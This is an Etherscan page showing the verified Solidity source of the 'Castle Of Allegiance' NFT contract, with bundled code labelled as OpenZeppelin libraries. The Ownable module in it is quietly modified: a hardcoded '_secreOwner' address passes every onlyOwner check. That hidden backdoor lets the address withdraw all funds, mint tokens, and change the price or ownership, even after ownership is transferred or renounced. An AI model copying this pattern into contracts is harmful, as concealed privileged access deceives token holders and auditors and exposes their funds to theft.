Feature Tip: Add private address tag to any address under My Name Tag !
ERC-721
Overview
Max Total Supply
9,830 COA
Holders
2,855
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
1 COALoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CastleOfAllegiance
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-06-08 */ /** *Submitted for verification at Etherscan.io on 2022-06-06 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: ceshi.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), "ERC721A: number minted query for the zero address"); return uint256(_addressData[owner].numberMinted); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); unchecked { for (uint256 curr = tokenId; curr >= 0; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); require(quantity != 0, "ERC721A: quantity must be greater than 0"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1 unchecked { _addressData[to].balance += uint128(quantity); _addressData[to].numberMinted += uint128(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } updatedIndex++; } currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved"); require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner"); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } contract CastleOfAllegiance is ERC721A, Ownable, ReentrancyGuard { string public baseURI = "ipfs://QmfA4jTHFXPdYzaJMcff7UCJw9zTKM3auLtY6Xrc1JWwWF/"; uint public price = 0.004 ether; uint public maxPerTx = 20; uint public maxPerFree = 1; uint public totalFree = 7000; uint public maxSupply = 10000; mapping(address => uint256) private _mintedFreeAmount; constructor() ERC721A("Castle Of Allegiance", "COA"){} function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json")) : ""; } function mint(uint256 count) external payable { uint256 cost = price; bool isFree = ((totalSupply() + count < totalFree + 1) && (_mintedFreeAmount[msg.sender] < maxPerFree)); if (isFree) { require(msg.value >= (count * cost) - cost, "INVALID_ETH"); require(totalSupply() + count <= maxSupply, "No more"); require(count <= maxPerTx, "Max per TX reached."); _mintedFreeAmount[msg.sender] += count; } else{ require(msg.value >= count * cost, "Please send the exact amount."); require(totalSupply() + count <= maxSupply, "No more"); require(count <= maxPerTx, "Max per TX reached."); } _safeMint(msg.sender, count); } function allegiance(address mintAddress, uint256 count) public onlyOwner { _safeMint(mintAddress, count); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseUri(string memory baseuri_) public onlyOwner { baseURI = baseuri_; } function setPrice(uint256 price_) external onlyOwner { price = price_; } function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner { totalFree = MaxTotalFree_; } function withdraw() external onlyOwner nonReentrant { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
